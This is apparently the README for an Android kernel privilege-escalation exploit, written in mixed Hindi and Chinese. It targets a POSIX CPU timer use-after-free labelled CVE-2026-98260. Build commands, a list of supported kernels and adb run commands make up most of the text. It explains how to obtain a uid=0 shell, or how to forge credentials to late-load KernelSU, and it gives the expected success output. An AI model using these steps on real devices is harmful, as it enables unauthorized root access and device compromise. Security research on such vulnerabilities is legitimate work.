
Android कर्नेल POSIX CPU टाइमर use-after-free एक्सप्लॉइट, 6.12.69 के लिए, जो नकली क्रेडेंशियल्स के माध्यम से uid=0 शेल या KernelSU लेट-लोड प्राप्त करता है।
CVE-2026-98260 POSIX CPU timer UAF 移植,支持情况见「内核支持」
两条链:
timer: वास्तविक cred शून्य-लेख → uid=0, u:r:shell:s0 (shell डोमेन root, bset caps)timer fake: नकली cred (full caps) → इंस्टॉल किया गया KernelSU libksud.so late-load| 路径 | 结果 |
|---|---|
real cred 零写 + setuid(0) + exec sh | uid=0、u:r:shell:s0、ROOT_SHELL_OK |
fake cred + ksud late-load | 安装版 libksud.so(uapi 6)、KSU_LOADED、su 为 u:r:ksu:s0 |
u:r:shell:s0),可读 tracefs 与 /proc/slabinfome.weishu.kernelsu)时,fake 会自动使用其 lib/arm64/libksud.socd timer
NDK=~/Android/Sdk/ndk/30.0.16248370/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
प्रत्येक per-build स्थिरांक का अपना timer/kbuilds/<release>.h होता है, जिसे timer/kbuilds.h द्वारा अनुक्रमित किया जाता है; timer.c में केवल लॉजिक होता है, timer uname -r की पूरी स्ट्रिंग से मिलान करता है, और मेल न मिलने पर ज्ञात build प्रिंट करके बाहर निकल जाता है
समर्थित:
6.1.138-android14-11-g7b9e94e37cfa-mi6.6.118-android15-8-gf72a02f47f4b-abogki551678766-4k6.12.69-android16-6-g5fd39602326e-ab16372235-4k6.12.69-android16-6-g242e1a07f878-ab15865446-4kनया कर्नेल जोड़ें (98260 का पता लगाएँ + लिखें और profile पंजीकृत करें; exit code 0 का अर्थ है पैच किया जा सकता है, 3 का अर्थ है पहले से ठीक है, 1 का अर्थ है त्रुटि):
cargo build --release --manifest-path tools/extract/Cargo.toml
tools/extract/target/release/timer-extract boot.img --add
tools/*.c का उपयोग call site, raw record, timer लीक और 8 KiB AF_UNIX रिकवरी चैनल की जाँच के लिए किया जाता है।
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# 诊断
adb shell /data/local/tmp/timer build # 打印内核 release 与命中的 profile
adb shell /data/local/tmp/timer ids # 探测 tracefs page event id
adb shell /data/local/tmp/timer leak # 只做 base/cred/task 泄漏,不触发 UAF
# uid-0 shell(真实 cred)
adb shell /data/local/tmp/timer # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell # 交互 sh
# KernelSU(fake cred + 安装版 ksud)
adb shell 'cd /data/local/tmp && setsid ./timer fake >timer.log 2>&1 </dev/null &'
adb shell cat /data/local/tmp/timer.log
fake सफलता संकेतक:
[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id # uid=0 ... context=u:r:ksu:s0
timeout/kill न करें, अन्यथा panic हो सकता हैtimer/timer.c exploit
timer/kbuilds.h 内核 profile 索引(include 列表 + 指针表)
timer/kbuilds/ 各内核的 profile(<release>.h)
timer/timer 静态产物
tools/*.c 移植诊断源码
tools/extract/ 提取器与检测(Rust,bin timer-extract)
| पथ | लाइसेंस |
|---|---|
रूट निर्देशिका (timer/, tools/*.c) | MIT, देखें LICENSE |
tools/extract/ | Apache-2.0, देखें tools/extract/LICENSE |
तृतीय-पक्ष स्रोत:
timer/timer.c woshigenm/CVE-2026-98260 के src/uid0.c और src/poc.c से अनुकूलित (MIT)tools/extract/ YuKongA/ghostlock-app/tools/extract_rs से (Apache-2.0)